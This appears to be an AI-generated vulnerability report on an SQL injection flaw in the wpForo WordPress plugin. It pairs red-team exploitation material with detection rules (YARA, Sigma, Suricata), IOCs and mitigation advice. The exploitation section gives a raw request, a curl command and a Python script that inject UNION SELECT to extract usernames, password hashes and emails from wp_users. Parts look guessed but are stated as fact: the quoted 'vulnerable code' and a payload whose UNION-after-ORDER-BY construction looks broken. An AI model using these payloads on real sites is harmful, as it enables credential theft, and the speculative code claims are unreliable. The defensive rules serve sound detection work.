CVE-2025-13126

Executive Summary

CVE-2025-13126 is a critical unauthenticated SQL Injection vulnerability discovered in the wpForo Forum plugin for WordPress (versions up to and including 2.4.12). The flaw resides in the insufficient sanitization of the post_args and topic_args parameters, allowing an attacker to inject arbitrary SQL into pre-existing queries. This enables unauthenticated remote attackers to extract sensitive information from the WordPress database, including user credentials, session tokens, and private forum data. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched, posing a significant risk to all sites running the affected plugin.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. It is not related to the underlying web server (Apache/Nginx) or PHP runtime. The attack surface is introduced entirely by the wpForo plugin's failure to properly escape user-supplied parameters before passing them to SQL queries.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: High. The vulnerability is trivial to exploit (no authentication required, low complexity) and directly leads to full database compromise. Although the EPSS score is currently 0.0%, this is likely due to the CVE being very recent. Given the widespread use of wpForo, exploitation is expected to increase rapidly.

Deep Dive & Mechanics

The vulnerability exists in the wpForo plugin's query building logic. The plugin constructs SQL queries using user-supplied parameters post_args and topic_args without proper escaping or parameterized queries. Specifically, the plugin passes these arguments directly into WP_Query or custom $wpdb queries, where they are concatenated into the SQL statement.

Root Cause:

• The plugin uses add_query_arg() or similar functions to build query strings, but fails to escape the values of post_args and topic_args.
• These parameters are expected to be arrays of arguments (e.g., orderby, order, meta_query), but the plugin does not validate that the values are safe.
• An attacker can inject SQL keywords (e.g., UNION SELECT, OR 1=1) into these parameters, which are then executed against the database.

Attack Flow:

1. An unauthenticated attacker sends a crafted HTTP request to a wpForo endpoint (e.g., /community/ or any forum page).
2. The request includes malicious values in the post_args or topic_args GET/POST parameters.
3. The plugin passes these values into a SQL query without sanitization.
4. The injected SQL executes, allowing the attacker to extract data from the wp_users, wp_usermeta, wp_posts, and other tables.

Example vulnerable parameter:

/community/?topic_args[orderby]=id UNION SELECT user_login,user_pass FROM wp_users--

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state. The fix would require:

Vulnerable Code (wpForo <= 2.4.12):

// In wpForo->Topic->get_topics() or similar
$args = $_GET['topic_args']; // No sanitization
$topics = $wpdb->get_results(
    "SELECT * FROM {$wpdb->prefix}wpforo_topics WHERE forumid = $forumid ORDER BY " . $args['orderby']
);

Patched Code (Hypothetical):

// Use prepared statements and whitelist validation
$allowed_orderby = array('id', 'title', 'created');
$orderby = in_array($_GET['topic_args']['orderby'], $allowed_orderby) ? $_GET['topic_args']['orderby'] : 'id';
$topics = $wpdb->get_results(
    $wpdb->prepare(
        "SELECT * FROM {$wpdb->prefix}wpforo_topics WHERE forumid = %d ORDER BY $orderby",
        $forumid
    )
);

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with wpForo plugin version <= 2.4.12.
• No authentication required.

Exploit Steps:

1. Identify a wpForo endpoint that accepts post_args or topic_args (e.g., /community/).
2. Craft a malicious request to extract user credentials:

   GET /community/?topic_args[orderby]=id UNION SELECT user_login,user_pass,user_email FROM wp_users-- HTTP/1.1
   Host: target.com
   

3. The response will contain the injected data in the forum topic listing.

Manual Exploit (cURL):

curl -v "http://target.com/community/?topic_args[orderby]=id%20UNION%20SELECT%20user_login,user_pass,user_email%20FROM%20wp_users--"

Automated Exploit (Python):

import requests

target = "http://target.com/community/"
payload = "id UNION SELECT user_login,user_pass,user_email FROM wp_users--"
params = {"topic_args[orderby]": payload}
r = requests.get(target, params=params)
print(r.text)

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests containing topic_args[ or post_args[ with SQL keywords (UNION, SELECT, FROM, etc.).
• Look for abnormal HTTP response sizes or database error messages in responses.

Hardening (Temporary):

• Disable the wpForo plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block requests containing topic_args[ or post_args[ with SQL patterns.
• Use a WordPress security plugin (e.g., Wordfence) to add virtual patching.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing topic_args[orderby] or post_args[orderby] with SQL keywords.
• Unusual User-Agent strings (though not required for exploitation).
• Database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

File IOCs:

• Modified WordPress database tables (e.g., wp_users with new admin accounts).
• Suspicious entries in wp_options or wp_postmeta.

Log IOCs:

• Web server access logs showing requests to /community/ with topic_args or post_args parameters.
• PHP error logs containing SQL syntax errors.

Detection Engineering

YARA Rule

rule wpForo_SQLi_CVE_2025_13126 {
    meta:
        description = "Detects SQL injection attempts against wpForo plugin CVE-2025-13126"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13126"
    strings:
        $param1 = "topic_args[" ascii nocase
        $param2 = "post_args[" ascii nocase
        $sql_keyword = /(UNION|SELECT|FROM|WHERE|OR\s+1=1|DROP|INSERT|UPDATE|DELETE)/ ascii nocase
    condition:
        any of ($param*) and $sql_keyword
}

Sigma Rule

title: wpForo SQL Injection Attempt (CVE-2025-13126)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit SQL injection in wpForo plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        c-uri|contains:
            - 'topic_args['
            - 'post_args['
        c-uri|contains|all:
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of forum search with similar parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"wpForo SQL Injection Attempt (CVE-2025-13126)"; flow:to_server,established; content:"topic_args["; http_uri; nocase; content:"UNION"; http_uri; nocase; distance:0; content:"SELECT"; http_uri; nocase; distance:0; sid:1000001; rev:1; reference:cve,2025-13126;)

Remediation & Mitigation

Immediate Actions:

1. Disable the wpForo plugin until a patch is released by the vendor.
2. Implement a WAF rule to block requests containing topic_args[ or post_args[ with SQL keywords.
3. Review database logs for signs of exploitation (unexpected queries, new admin users).

Long-Term Fix:

• Monitor the wpForo plugin page for a security update (version > 2.4.12).
• Apply the patch as soon as it becomes available.
• Consider replacing wpForo with an alternative forum plugin that follows secure coding practices.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.